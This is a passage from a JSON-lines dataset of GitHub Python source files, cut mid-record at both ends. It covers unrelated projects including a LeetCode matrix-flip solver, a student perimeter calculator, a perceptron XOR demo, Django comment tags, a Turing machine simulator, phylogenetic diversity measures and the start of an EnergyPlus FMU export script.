test.show()","repo_name":"gnitsua/TimeComplexityArray","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19251163781","text":"import copy\n\ndef minFlips(mat: List[List[int]]) -> int:\n M = len(mat)\n N = len(mat[0])\n\n def is_same(mat1, mat2):\n for y in range(0, M):\n for x in range(0, N):\n if mat1[y][x] != mat2[y][x]:\n return False\n return True\n\n def flip(matrix, y, x):\n for cy, cx in [[y, x], [y - 1, x], [y + 1, x], [y, x - 1], [y, x + 1]]:\n if cy < 0 or cx < 0 or cy >= M or cx >= N:\n continue\n matrix[cy][cx] = 1 if matrix[cy][cx] == 0 else 0\n\n def all_zero(matrix):\n return not any(any(r) for r in matrix)\n\n queue = [(mat, 0)]\n visited = [mat]\n while len(queue):\n m, step = queue[0]\n queue = queue[1:]\n\n if all_zero(m):\n return step\n\n for y in range(0, M):\n for x in range(0, N):\n new_mat = copy.deepcopy(m)\n flip(new_mat, y, x)\n if any(is_same(new_mat, old) for old in visited):\n continue\n visited.append(new_mat)\n queue.append((new_mat, step + 1))\n\n return -1\n","repo_name":"xis19/leetcode","sub_path":"1284.py","file_name":"1284.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2571407137","text":"\n# ask you what shaper you would like to calculate the area or permiter of \ndef shape(question):\n error = \"you have not selected one of the advible shapes\"\n valid = False\n while not valid:\n \n shape = input(question).lower().strip()\n if shape == \"square\" or shape == \"s\":\n shape = \"square\"\n return shape\n elif shape == \"triangle\" or shape == \"t\":\n shape = \"triangle\"\n return shape\n elif shape == \"rectangle\" or shape == \"r\":\n shape = \"rectangle\"\n return shape\n elif shape == \"circle\" or shape == \"c\":\n shape = \"circle\"\n return shape\n elif shape == \"parrallelagram\" or shape == \"p\":\n shape = \"parrallelagram\"\n return shape\n else:\n print(error)\n# perimeter calculator\ndef perimeter_calculator(shape):\n error = \"please enter a integer between 1 and 100\"\n perimeter = 0\n pi = 3.14\n valid = False\n while not valid:\n try:\n if shape == \"square\":\n \n list1 = []\n for i in range(0):\n one_side = int(input(\"Please input one of the sides mesurement from you square: \").strip())\n if one_side < 1:\n print(error)\n elif one_side > 100:\n print(error)\n else:\n list1.append(one_side)\n perimeter = 4 * list1[0]\n return perimeter\n elif shape == \"circle\":\n list2 = []\n for i in range(1):\n radius = int(input(\"Please enter the value of your radius of your circle: \").strip())\n if radius < 1:\n print(error)\n elif radius > 100:\n print(error)\n else:\n list2.append(radius)\n perimeter = 2 * pi * list2[0]\n return perimeter\n elif shape == \"rectangle\":\n list3 = []\n for i in range(0,1):\n valid = False\n while not valid:\n length = int(input(\"Please enter the value of length of the rectangle: \").strip())\n if length < 1:\n print(error)\n valid = False\n elif length > 100:\n print(error)\n valid = False\n else:\n list3.append(length)\n width = int(input(\"please enter the width of your rectangle\").strip()) \n if width < 1:\n print(error)\n valid = False\n elif width > 100:\n print(error)\n valid = False\n else:\n list3.append(width)\n valid = True\n perimeter = (list3[0] * 2) + (list3[1] * 2)\n return perimeter\n \n elif shape == \"triangle\":\n list4 = []\n for i in range(0,3):\n valid = False\n while not valid:\n sidea = int(input(\"Please enter the side a of your trinagle: \").strip())\n if sidea < 1:\n print(error)\n valid = False\n elif sidea > 100:\n print(error)\n valid = False\n else:\n list4.append(sidea)\n sideb = int(input(\"Please enter your side b of the tringle: \").strip())\n if sideb < 1:\n print(error)\n valid = False\n elif sideb > 100:\n print(error)\n valid = False\n else:\n list4.append(sideb)\n sidec = int(input(\"Please enter your side c of the tringle: \").strip())\n if sidec < 1:\n print(error)\n valid = False\n elif sidec > 100:\n print(error)\n valid = False\n else:\n list4.append(sidec)\n valid = True\n perimeter = (list4[0] + list4[1] + list4[2])\n return perimeter\n elif shape == \"parrallelagram\":\n list5 = []\n for i in range(0,1):\n valid = False\n while not valid:\n base = int(input(\"Please enter the value of base of the parrallelagram: \").strip())\n if base < 1:\n print(error)\n valid = False\n elif base > 100:\n print(error)\n valid = False\n else:\n list5.append(base)\n side = int(input(\"please enter the side of your parrallelagram: \").strip()) \n if side < 1:\n print(error)\n valid = False\n elif side > 100:\n print(error)\n valid = False\n else:\n list5.append(side)\n valid = True\n perimeter = (list5[0] * 2) + (list5[1] * 2)\n return perimeter\n except ValueError:\n print(error) \n# calls on the program\npicker = shape(\"Please pick either square triangle rectangle circle or parrallelagram: \").lower().strip()\nprint(picker)\nperimeter = perimeter_calculator(picker)\nprint(\"{:.2f}\".format(perimeter))\n \n","repo_name":"SoulTaker9090/areaandperimiertool","sub_path":"perimeter.py","file_name":"perimeter.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34337716594","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# xor is nonlinear problem, can't use this method\n\n# define input data, xor\nX = np.array([[1,0,0],\n [1,0,1],\n [1,1,0],\n [1,1,1]])\n\n# define label\nT = np.array([[-1],\n [1],\n [1],\n [-1]])\n\n# init w 3 row 1 col [0,1]\nW = np.random.random([3,1])\n\n# learning rate set\nlr = 0.1\n\n# neural net output\nY = 0\n\n# update W fun\ndef train():\n global X, T, W, lr, Y\n # cal 4 data predict value, Y(4,1)\n Y = np.dot(X,W)\n # T-Y get del E(4,1)\n E = T - Y\n # cal w diff X.T is the T of X. i.e mat(1,3) -> mat(3,1)\n delta_W = lr * (X.T.dot(E)) / X.shape[0]\n # update w\n W = W + delta_W\n\ndef draw():\n global W\n # positive sample x y cordornate\n x1 = [0, 1]\n y1 = [1, 0]\n # negitave sample x y cordornate\n x2 = [0, 1]\n y2 = [0, 1]\n # define classify line\n k = -W[1]/W[2]\n d = -W[0]/W[2]\n # set two point to draw the line\n xdata = (0,5)\n plt.plot(xdata, xdata*k + d, 'r')\n # draw positive sample\n plt.scatter(x1, y1, c='g')\n # draw negitive sample\n plt.scatter(x2, y2, c='b')\n plt.show()\n\n# train model\nfor i in range(100):\n # update w\n train()\n print('epoch:', i+1)\n print('weights:')\n print(W)\n print('***********************')\n\n Y = np.sign(np.dot(X,W))\n if (Y == T).all():\n print('Finished')\n break\n\ndraw()\n","repo_name":"shucommon/badrobot","sub_path":"python/AI/dl-basic/xor.py","file_name":"xor.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38848316814","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport datetime\n\nclass Base:\n def __init__(self, file):\n self.cred = credentials.Certificate(file)\n self.default_app = firebase_admin.initialize_app(self.cred)\n self.db = firestore.client()\n\n\n def create_game(self,user,join):\n ref = self.db.collection(u'games').document()\n data = {\n u'joinable' : join,\n u'users': [user],\n u'score': 0,\n u'timestampStartGame': datetime.datetime.now(),\n u'turn': user,\n u'isFinished': False\n }\n ref.set(data)\n return ref.id\n\n def add_to_game(self,user,game):\n ref = self.db.collection(u'games').document(game)\n ref.update({u'users': firestore.ArrayUnion([user]),\n u'timestampStartGame' : datetime.datetime.now()})\n\n#d = Base(\"./titato-8a7f4-firebase-adminsdk-cacno-b118cf5928.json\")\n#d.create_game(\"andrzej\")\n\n#users_ref = db.collection(u'games')\n#docs = users_ref.stream()\n\n#for doc in docs:\n# print(type(doc.to_dict()))","repo_name":"przemekd1997/TTT","sub_path":"fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5329421030","text":"from kapteyn import maputils\nfrom matplotlib import pyplot as plt\n\nheader = {'NAXIS' : 2, 'NAXIS1': 100, 'NAXIS2': 100,\n 'CTYPE1' : 'RA---TAN',\n 'CRVAL1' : 80.0, 'CRPIX1' : 1, \n 'CUNIT1' : 'arcmin', 'CDELT1' : -0.5,\n 'CTYPE2' : 'DEC--TAN',\n 'CRVAL2' : 400.0, 'CRPIX2' : 1, \n 'CUNIT2' : 'arcmin', 'CDELT2' : 0.5,\n 'CROTA2' : 30.0\n }\n\nf = maputils.FITSimage(externalheader=header)\n\nfig = plt.figure()\nframe = fig.add_axes([0.1,0.15,0.8,0.75])\nannim = f.Annotatedimage(frame)\ngrat = annim.Graticule()\ngrat.setp_ticklabel(plotaxis='bottom', rotation=90)\ngrat.setp_ticklabel(fmt='s') # Suppress the seconds in all labels\n\n# Use pixel limits attributes of the FITSimage object\n\nxmax = annim.pxlim[1]+0.5; ymax = annim.pylim[1]+0.5\nannim.Ruler(x1=xmax, y1=0.5, x2=xmax, y2=ymax, lambda0=0.5, step=5.0/60.0, \n fun=lambda x: x*60.0, fmt=\"%4.0f^\\prime\", \n fliplabelside=True, color='r')\n\n# The wcs methods that convert between pixels and world\n# coordinates expect input in degrees whatever the units in the\n# header are (e.g. arcsec, arcmin).\nannim.Ruler(x1=60/60.0, y1=390/60.0, x2=60/60.0, y2=420/60.0, \n lambda0=0.0, step=5.0/60, world=True, \n fun=lambda x: x*60.0, fmt=\"%4.0f^\\prime\", color='g')\n\nannim.Ruler(pos1='0h3m30s 6d30m', pos2='0h3m30s 7d0m', \n lambda0=0.0, step=5.0, \n units='arcmin', color='c')\n\nannim.plot()\nplt.show()","repo_name":"kapteyn-astro/kapteyn","sub_path":"doc/source/EXAMPLES/mu_arcminrulers.py","file_name":"mu_arcminrulers.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"8620262265","text":"import os\nimport Location\nimport Gym\nimport yaml\nfrom collections import defaultdict\n\ndef LoadDataFromFolder(path, banList = None, allowList = None, modifierDict = {}, flags = [], labelling = False):\n\tLocationList = []\n\tLocCountDict = defaultdict(lambda: 0)\n\tprint(\"Creating Locations\")\n\tfor root, dir, files in os.walk(path+\"//Map Data\"):\n\t\tfor file in files:\n\t\t\tprint(\"File: \"+file)\n\t\t\tentry = open(path+\"//Map Data//\"+file,'r',encoding='utf-8')\n\t\t\ttry:\n\t\t\t\tyamlData = yaml.load(entry, Loader=yaml.FullLoader)\n\t\t\texcept Exception as inst:\n\t\t\t\traise(inst)\n\t\t\tprint(\"Locations in file are:\")\n\t\t\tfor location in yamlData[\"Location\"]:\n\t\t\t\tprint(location[\"Name\"])\n\t\t\t\ttry:\n\t\t\t\t\tnLoc =Location.Location(location)\n\t\t\t\t\tnLoc.applyBanList(banList,allowList)\n\t\t\t\t\tnLoc.applyModifiers(modifierDict)\n\t\t\t\t\tLocationList.append(nLoc)\n\t\t\t\t\tLocCountDict[nLoc.Name] = LocCountDict[nLoc.Name]+1\n\t\t\t\texcept Exception as inst:\n\t\t\t\t\tprint(\"-----------\")\n\t\t\t\t\tprint(\"Failure in \"+location[\"Name\"])\n\t\t\t\t\traise(inst)\n\tprint(\"Creating Gyms\")\n\tfor groot, gdir, gfiles in os.walk(\"Gym Data\"):\n\t\tfor gfile in gfiles:\n\t\t\tprint(\"File: \"+gfile)\n\t\t\tentry = open(path+\"//Gym Data//\"+gfile,'r',encoding='utf-8')\n\t\t\tyamlData = yaml.load(entry,Loader=yaml.FullLoader)\n\n\t\t\tprint(\"Locations in file are:\")\n\t\t\tfor location in yamlData[\"Location\"]:\n\t\t\t\tprint(location[\"Name\"])\n\t\t\t\ttry:\n\t\t\t\t\tnLoc = Gym.Gym(location)\n\t\t\t\t\tnLoc.applyBanList(banList,allowList)\n\t\t\t\t\tnLoc.applyModifiers(modifierDict)\n\t\t\t\t\tLocationList.append(nLoc)\n\t\t\t\texcept Exception as inst:\n\t\t\t\t\tprint(\"-----------\")\n\t\t\t\t\tprint(\"Failure in \"+location[\"Name\"])\n\t\t\t\t\traise(inst)\n\n\ttrashList = []\n\tfor i in LocationList:\n\t\ttrashList.extend(i.getTrashItemList(flags, labelling))\n\t\t\n\tprint('NameCounts')\n\tprint(LocCountDict)\n\treturn (LocationList,trashList)\n\t\ndef FlattenLocationTree(locations):\n\tnList = []\n\taList = []\n\tdone = False\n\twhile not done:\n\t\tdone = True\n\t\taList = []\n\t\tfor i in locations:\n\t\t\tnList.append(i)\n\t\t\tprint('Flattened :'+i.Name)\n\t\t\tfor j in i.Sublocations:\n\t\t\t\taList.append(j)\n\t\t\t\tdone = False\n\t\tlocations = aList\n\treturn nList\n\t\t","repo_name":"EnAppelsin/Pokemon-Crystal-Item-Randomizer","sub_path":"LoadLocationData.py","file_name":"LoadLocationData.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"1389343063","text":"from django import template\nfrom django.contrib.contenttypes.models import ContentType\nfrom ..models import Comment\nfrom ..forms import CommentCreateForm\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef get_comments_list(obj):\n ct = ContentType.objects.get_for_model(obj)\n return Comment.objects.filter(content_type=ct, object_id=obj.pk).order_by('-comment_time')\n\n\n@register.simple_tag\ndef get_comments_form(obj):\n ct = ContentType.objects.get_for_model(obj)\n form = CommentCreateForm(initial={\n 'content_type': ct.model,\n 'object_id': obj.pk,\n })\n return form\n\n\n@register.simple_tag\ndef get_content_type(obj):\n ct = ContentType.objects.get_for_model(obj)\n return ct.model\n","repo_name":"caoxunaaa/TreeHole","sub_path":"comment/templatetags/comment_tags.py","file_name":"comment_tags.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15204752803","text":"\"\"\"Base module for Tool Results.\"\"\"\n\nfrom uuid import UUID\n\nfrom flask import request\nfrom flask import current_app\nfrom flask_api.exceptions import NotFound, ParseError, PermissionDenied\nfrom mongoengine.errors import ValidationError, DoesNotExist\nfrom sqlalchemy.orm.exc import NoResultFound\n\nfrom app.display_modules.conductor import SampleConductor, GroupConductor\nfrom app.extensions import sample_upload_lock\nfrom app.samples.sample_models import Sample\nfrom app.sample_groups.sample_group_models import SampleGroup\nfrom app.users.user_models import User\nfrom app.users.user_helpers import authenticate\nfrom app.utils import lock_function\n\nfrom .modules import SampleToolResultModule, GroupToolResultModule\n\n\n@lock_function(sample_upload_lock)\ndef receive_sample_tool_upload(cls, resp, uuid):\n \"\"\"Define handler for receiving uploads of analysis tool results.\"\"\"\n try:\n safe_uuid = UUID(uuid)\n sample = Sample.objects.get(uuid=safe_uuid)\n except ValueError:\n raise ParseError('Invalid UUID provided.')\n except DoesNotExist:\n raise NotFound('Sample does not exist.')\n\n # gh-21: Write actual validation:\n try:\n auth_user = User.query.filter_by(id=resp).one()\n print(auth_user)\n except NoResultFound:\n raise PermissionDenied('Authorization failed.')\n\n try:\n payload = request.get_json()\n payload = cls.run_upload_hooks(payload)\n\n tool_result = cls.make_result_model(payload).save()\n setattr(sample, cls.name(), tool_result)\n sample.save()\n except ValidationError as validation_error:\n raise ParseError(str(validation_error))\n\n # Kick off middleware tasks\n dryrun = request.args.get('dryrun', False)\n if not dryrun:\n try:\n downstream_modules = SampleConductor.downstream_modules(cls)\n SampleConductor(safe_uuid, downstream_modules).shake_that_baton()\n except Exception: # pylint: disable=broad-except\n current_app.logger.exception('Exception while coordinating display modules.')\n\n # Return payload here to avoid per-class JSON serialization\n return payload, 201\n\n\ndef receive_group_tool_upload(cls, resp, uuid):\n \"\"\"Define handler for receiving uploads of analysis tool results for sample groups.\"\"\"\n try:\n safe_uuid = UUID(uuid)\n sample_group = SampleGroup.query.filter_by(id=safe_uuid).first()\n except ValueError:\n raise ParseError('Invalid UUID provided.')\n except NoResultFound:\n raise NotFound('Sample Group does not exist.')\n\n # gh-21: Write actual validation:\n try:\n auth_user = User.query.filter_by(id=resp).one()\n print(auth_user, str(safe_uuid))\n except NoResultFound:\n raise PermissionDenied('Authorization failed.')\n\n try:\n payload = request.get_json()\n payload['sample_group_uuid'] = sample_group.id\n group_tool_result = cls.make_result_model(payload)\n group_tool_result.save()\n except ValidationError as validation_error:\n raise ParseError(str(validation_error))\n\n # Kick off middleware tasks\n dryrun = request.args.get('dryrun', False)\n if not dryrun:\n try:\n downstream_modules = GroupConductor.downstream_modules(cls)\n GroupConductor(safe_uuid, downstream_modules).shake_that_baton()\n except Exception as exc: # pylint: disable=broad-except\n current_app.logger.exception('Exception while coordinating display modules.')\n current_app.logger.exception(exc)\n\n # Return payload here to avoid per-class JSON serialization\n return payload, 201\n\n\ndef register_tool_result(cls, router):\n \"\"\"Register API endpoint for this display module type.\"\"\"\n endpoint_url = cls.endpoint()\n endpoint_name = f'post_{cls.name()}'\n\n @authenticate\n def view_function(resp, uuid):\n \"\"\"Wrap receive_upload to provide class.\"\"\"\n if issubclass(cls, SampleToolResultModule):\n return receive_sample_tool_upload(cls, resp, uuid)\n elif issubclass(cls, GroupToolResultModule):\n return receive_group_tool_upload(cls, resp, uuid)\n raise ParseError('Tool Result of unrecognized type.')\n\n router.add_url_rule(endpoint_url,\n endpoint_name,\n view_function,\n methods=['POST'])\n","repo_name":"MetaGenScope/metagenscope-server","sub_path":"app/tool_results/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42855276172","text":"import os.path\r\nimport sys\r\nfrom sys import argv\r\n\r\ndef maquina(entrada, fita, transicoes, qtd_transicoess, qtd_estados):\r\n \r\n estado = 1 #estado em que a maquina irá iniciar\r\n \r\n ponto = 0 #ponto em que a fita irá iniciar\r\n #ent_leitura de input\r\n ent_leitura = str(fita) #palavra que vai ser inserida para leitura\r\n\r\n fita += \"-\"\r\n #quebra a string simbolo por simbolo em uma lista para ser iterada\r\n fita = list(fita)\r\n #caso chegue ao estado de aceitacao sai do while e estado_aceitacao = OK\r\n estado_aceitacao = \"Aceita\"\r\n\r\n #equanto a maquina nao chega a um estado de aceitacao/recusa.\r\n while estado != qtd_estados:\r\n simbolo = fita[ponto]\r\n #procura no estado de transicao aquele que deve ler o simbolo \r\n procura_estado = False\r\n for i in range(0, len(transicoes[estado])):\r\n #se encontrar entao muda o simbolo da fita de acordo com a tabela.\r\n if transicoes[estado][i][:1] == simbolo:\r\n fita[ponto] = transicoes[estado][i][1:2] \r\n procura_estado = True\r\n break\r\n\r\n #se este estado nao le o simbolo, rejeite. (quebra o while) \r\n if not procura_estado:\r\n estado_aceitacao = \"not OK\"\r\n estado = qtd_estados\r\n #se nao, entao movimente a fita para o lado respectivo.\r\n #e muda o estado de transicao para o proximo correto.\r\n else:\r\n #move para a direita\r\n if transicoes[estado][i][2:3] == \"D\":\r\n ponto += 1\r\n #move para a esquerda\r\n else:\r\n ponto -= 1\r\n\r\n #muda para o proximo estado de transicao.\r\n estado = int(transicoes[estado][i][3:4])\r\n\r\n #retorna a ent_leitura de input + estado_aceitacao (OK/not OK)\r\n return f\"{ent_leitura} {estado_aceitacao} \" \r\n\r\n\r\n\r\ndef main():\r\n \r\n arq_leitura = \"\" #arquivo txt para maquina fazer leitura\r\n# entrada de entrada aceito pela máquina de turing \r\n entrada = []\r\n# estados de transição da maquina\r\n qtd_estados = 0 # numeros de estados que a maquina possui\r\n transicoes = {} #transições de estados da maquina (ex q0 --> q1)\r\n qtd_transicoes = 0\r\n qtd_fitas = 0 #quantidades de fitas que a maquina possue\r\n fitas = [] #as fitas em si\r\n\r\n if len(argv) > 1:\r\n arq_leitura = argv[1]\r\n \r\n #leitura do arquivo txt para iniciar a maquina\r\n if os.path.exists(arq_leitura):\r\n leitura = open(arq_leitura, 'r') # abre e le o arquivo\r\n pula_linha = leitura.readlines()\r\n\r\n for i in range(0, len(pula_linha)):\r\n #utilizando o metodo strip para tirar os espaços antes e depois dos\r\n #simbolos para facilitar a leitura da maquina e ela nao confundir os espaços em branco\r\n pula_linha[i] = pula_linha[i].strip('\\n') \r\n\r\n\r\n try:\r\n #adiciona cada simbolo do entrada para a lista entrada\r\n for i in range(0, len(pula_linha[0])):\r\n entrada.append(pula_linha[0][i])\r\n \r\n #adiciona o numero de estados\r\n qtd_estados = int(pula_linha[1])\r\n\r\n #adiciona o numero de transicoes\r\n qtd_transicoes= int(pula_linha[2])\r\n \r\n #cria um dicionario para organizar os estados\r\n #a chave eh o estado (Qn). E o valor sao: lendo, gravar na fita,\r\n #mover fita, va para o estado.\r\n for i in range(0, qtd_estados-1):\r\n #{N:[]}\r\n transicoes[i+1] = []\r\n \r\n #adiciona as transicoes para cada chave (estado)\r\n for i in range(3, qtd_transicoes+3):\r\n ent_leitura = pula_linha[i].replace(\" \", \"\")\r\n transicoes[int(ent_leitura[:1])].append(ent_leitura[1:len(ent_leitura)])\r\n \r\n #adiciona o numero de ent_leituras testadas\r\n qtd_fitas = int(pula_linha[qtd_transicoes+3])\r\n\r\n #adiciona as ent_leitura a serem testadas (aabb, aaabbb..)\r\n for i in range(qtd_transicoes+4, qtd_transicoes+4+qtd_fitas):\r\n fitas.append(pula_linha[i])\r\n except:\r\n #caso a leitura do input falhe.\r\n print(\"\\nEntrada Inválida.\")\r\n quit()\r\n else:\r\n #caso o arquivo de input nao exista.\r\n print(\"\\nNão foi possível encontrar o arquivo.\")\r\n quit()\r\n \r\n #se tudo foi carregado corretamente.. Rodar a maquina passando a fita.\r\n\r\n \r\n \r\n\r\n #para cada ent_leitura, rodar a fita correspondente na maquina de turing\r\n for i in range(0, qtd_fitas):\r\n resposta = maquina(entrada, fitas[i], transicoes, qtd_transicoes, qtd_estados)\r\n print(f\"\\n{i+1}: {resposta}\")\r\n print()\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main() ","repo_name":"StellaRufino/EP1_TC","sub_path":"machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36529219392","text":"from itertools import chain\nimport networkx as nx\nimport phylonetwork as ph\n\nimport argparse\n\n\ndef read_enewick(s):\n return ph.PhyloNetwork(eNewick=s)\n\ndef iter_length(g):\n c = 0\n for _ in g:\n c += 1\n return c\n\ndef default_weight_fn(net, w, v):\n return net.edge[w][v].get('length', 0)\n\ndef nodes_below(net, u):\n yield u\n\n u_successors = nx.dfs_successors(net, u)\n nodes_below_u = chain.from_iterable(u_successors.values())\n for v in nodes_below_u:\n yield v\n\ndef kappa(net, u):\n if net.is_leaf(u):\n return 1\n\n return iter_length(filter(net.is_leaf, nodes_below(net, u)))\n\ndef cache_kappa(net):\n values = {u:kappa(net, u) for u in net}\n return values.__getitem__\n\ndef cophenetic_value(net, us, weight_fn=default_weight_fn):\n if not us:\n return 0\n\n rev_net = nx.reverse(net)\n nodes_above_all_us = frozenset.intersection(*[frozenset(nodes_below(rev_net, u)) for u in us])\n edges_above_all_us = ((w, v) for v in nodes_above_all_us for w in rev_net[v])\n return sum(weight_fn(net, w, v) for w, v in edges_above_all_us)\n\ndef rooted_phylogenetic_diversity(net, us, weight_fn=default_weight_fn):\n rev_net = nx.reverse(net)\n nodes_above_us = frozenset().union(*[frozenset(nodes_below(rev_net, u)) for u in us])\n edges_above_us = ((w, v) for v in nodes_above_us for w in rev_net[v])\n return sum(weight_fn(net, w, v) for w, v in edges_above_us)\n\ndef unrooted_phylogenetic_diversity(net, us, weight_fn=default_weight_fn):\n return rooted_phylogenetic_diversity(net, us, weight_fn) - cophenetic_value(net, us, weight_fn)\n\ndef fair_proportion(net, u, weight_fn=default_weight_fn, kappa_fn=None):\n if kappa_fn is None:\n kappa_fn = cache_kappa(net)\n\n rev_net = nx.reverse(net)\n nodes_above_u = nodes_below(rev_net, u)\n edges_above_u = ((w, v) for v in nodes_above_u for w in rev_net[v])\n return sum(weight_fn(net, w, v) / kappa_fn(v) for w, v in edges_above_u)\n\ndef cophenetic_shapley_value(net, u, weight_fn=default_weight_fn, kappa_fn=None):\n if kappa_fn is None:\n kappa_fn = cache_kappa(net)\n\n leaves = net.leaves()\n n = len(leaves)\n rev_net = nx.reverse(net)\n nodes_above_u = nodes_below(rev_net, u)\n edges_above_u = frozenset((w, v) for v in nodes_above_u for w in rev_net[v])\n edges_not_above_u = (e for e in net.edges() if e not in edges_above_u)\n\n total_weight = sum(weight_fn(net, *e) for e in net.edges())\n\n return total_weight/n - sum(weight_fn(net, w, v) / (n - kappa_fn(v))\n for w, v in edges_not_above_u)\n\ndef unrooted_shapley_value(net, u, weight_fn=default_weight_fn, kappa_fn=None):\n if kappa_fn is None:\n kappa_fn = cache_kappa(net)\n\n sv = fair_proportion(net, u, weight_fn=weight_fn, kappa_fn=kappa_fn)\n coph_sv = cophenetic_shapley_value(net, u, weight_fn=weight_fn, kappa_fn=kappa_fn)\n return sv - coph_sv\n\nCOPH_USAGE_EXAMPLE = u\"\"\"\nUsage example:\n\n # Computing the cophenetic value of {3,4}\n $ %(prog)s cophenetic-value '((1,(3,#H1)c)a,(2,((4)H#H1,5)d)b)r;' - 1 2 3 < python [python options] \n#\n# On unix-like systems, this command-line invocation should work as well:\n# > ./ \n#\n# To call this script from the Python interpreter, or from another Python script:\n# >>> import \n# >>> .exportEnergyPlusAsFMU(arguments)\n\n\n#--- Runtime help.\n#\ndef printCmdLineUsage():\n #\n print('USAGE:', os.path.basename(__file__), \\\n '-i [-w ] [-a ] [-d] [-L] ')\n #\n print('-- Export an EnergyPlus model as a Functional Mockup Unit (FMU) for co-simulation')\n print('-- Input -i, use the named Input Data Dictionary (required)')\n print('-- Option -w, use the named weather file')\n print('-- Option -a, specify the FMI version')\n print('-- Option -d, print diagnostics')\n print('-- Option -L, litter, that is, do not clean up intermediate files')\n # TODO: Add -V to set version number of FMI standard. Currently 1.0 is only one supported.\n #\n # End fcn printCmdLineUsage().\n\n\n#--- Ensure access.\n#\nimport os\nimport subprocess\nimport sys\nimport zipfile\n\nPLATFORM_NAME = sys.platform\n\n#\nif( PLATFORM_NAME.startswith('win') ):\n PLATFORM_SHORT_NAME = 'win'\nelif( PLATFORM_NAME.startswith('linux')\n or PLATFORM_NAME.startswith('cygwin') ):\n PLATFORM_SHORT_NAME = 'linux'\nelif( PLATFORM_NAME.startswith('darwin') ):\n PLATFORM_SHORT_NAME = 'darwin'\nelse:\n raise Exception('Unknown platform {' +PLATFORM_NAME +'}')\n\n#--- Fcn to print diagnostics.\n#\ndef printDiagnostic(messageStr):\n #\n print('!', os.path.basename(__file__), '--', messageStr)\n #\n # End fcn printDiagnostic().\n\n\n#--- Fcn to quit due to an error.\n#\ndef quitWithError(messageStr, showCmdLine):\n #\n print('ERROR from script file {' +os.path.basename(__file__) +'}')\n #\n if( messageStr is not None ):\n print(messageStr)\n #\n if( showCmdLine ):\n print()\n printCmdLineUsage()\n #\n sys.exit(1)\n #\n # End fcn quitWithError().\n\n\n#--- Fcn to verify a file exists.\n#\n# If file exists, return its absolute path. Otherwise, quit.\n#\ndef findFileOrQuit(fileDesc, fileName):\n #\n if( not os.path.isfile(fileName) ):\n (dirName, fileName) = os.path.split(os.path.abspath(fileName))\n if( not os.path.isdir(dirName) ):\n quitWithError('Missing directory {' +dirName +'} for ' +fileDesc +' file {' +fileName +'}', False)\n quitWithError('Missing ' +fileDesc +' file {' +fileName +'} in directory {' +dirName +'}', False)\n #\n return( os.path.abspath(fileName) )\n #\n # End fcn findFileOrQuit().\n\n\n#--- Fcn to delete a file.\n#\n# OK if file does not exist.\n#\ndef deleteFile(fileName):\n #\n if( os.path.isfile(fileName) ):\n try:\n os.remove(fileName)\n except:\n quitWithError('Unable to delete file {' +fileName +'}', False)\n elif( os.path.isdir(fileName) ):\n quitWithError('Expecting {' +fileName +'} to be a file; found a directory', False)\n #\n # End fcn deleteFile().\n\n\n#--- Fcn to add a file to a zip file.\n#\ndef addToZipFile(theZipFile, addFileName, toDir, addAsName):\n #\n # Get path and name for use in zip file.\n if( addAsName is None ):\n addAsName = os.path.basename(addFileName)\n if( toDir is not None ):\n addAsName = os.path.join(toDir, addAsName)\n #\n try:\n theZipFile.write(addFileName, addAsName)\n except:\n # Diagnose error if possible.\n if( theZipFile.__class__ != zipfile.ZipFile ):\n quitWithError('Expecting a zip file, got {' +theZipFile.__class__.__name__ +'}', False)\n # Here, {theZipFile} is a zip file. Won't be using it any further.\n theZipFile.close()\n # Check whether {addFileName} exists.\n addFileName = findFileOrQuit('zip member', addFileName)\n # Here, {addFileName} is a good file.\n quitWithError('Failed to add file {' +addFileName +'} to zip file; reason unknown', False)\n #\n # Here, successfully added {addFileName} to {theZipFile}.\n #\n # End fcn addToZipFile().\n\n\n#--- Fcn to export an EnergyPlus IDF file as an FMU.\n#\ndef exportEnergyPlusAsFMU(showDiagnostics, litter, iddFileName, wthFileName, fmiVersion, idfFileName):\n #\n if( showDiagnostics ):\n printDiagnostic('Begin exporting IDF file {' +idfFileName +'} as an FMU')\n #\n # Check file names passed as arguments, and get absolute paths.\n idfFileName = findFileOrQuit('IDF', idfFileName)\n iddFileName = findFileOrQuit('IDD', iddFileName)\n if( wthFileName is None ):\n if( showDiagnostics ):\n printDiagnostic('Note no WTH file given')\n else:\n wthFileName = findFileOrQuit('WTH', wthFileName)\n #\n # Get directory of this script file.\n scriptDirName = os.path.abspath(os.path.dirname(__file__))\n #\n # Load modules expect to find in same directory as this script file.\n if( scriptDirName not in sys.path ):\n sys.path.append(scriptDirName)\n #\n findFileOrQuit('utility script', os.path.join(scriptDirName, 'makeFMULib.py'))\n try:\n import makeFMULib\n except:\n quitWithError('Unable to import {makeFMULib.py}', False)\n #\n findFileOrQuit('utility script', os.path.join(scriptDirName, 'makeExportPrepApp.py'))\n try:\n 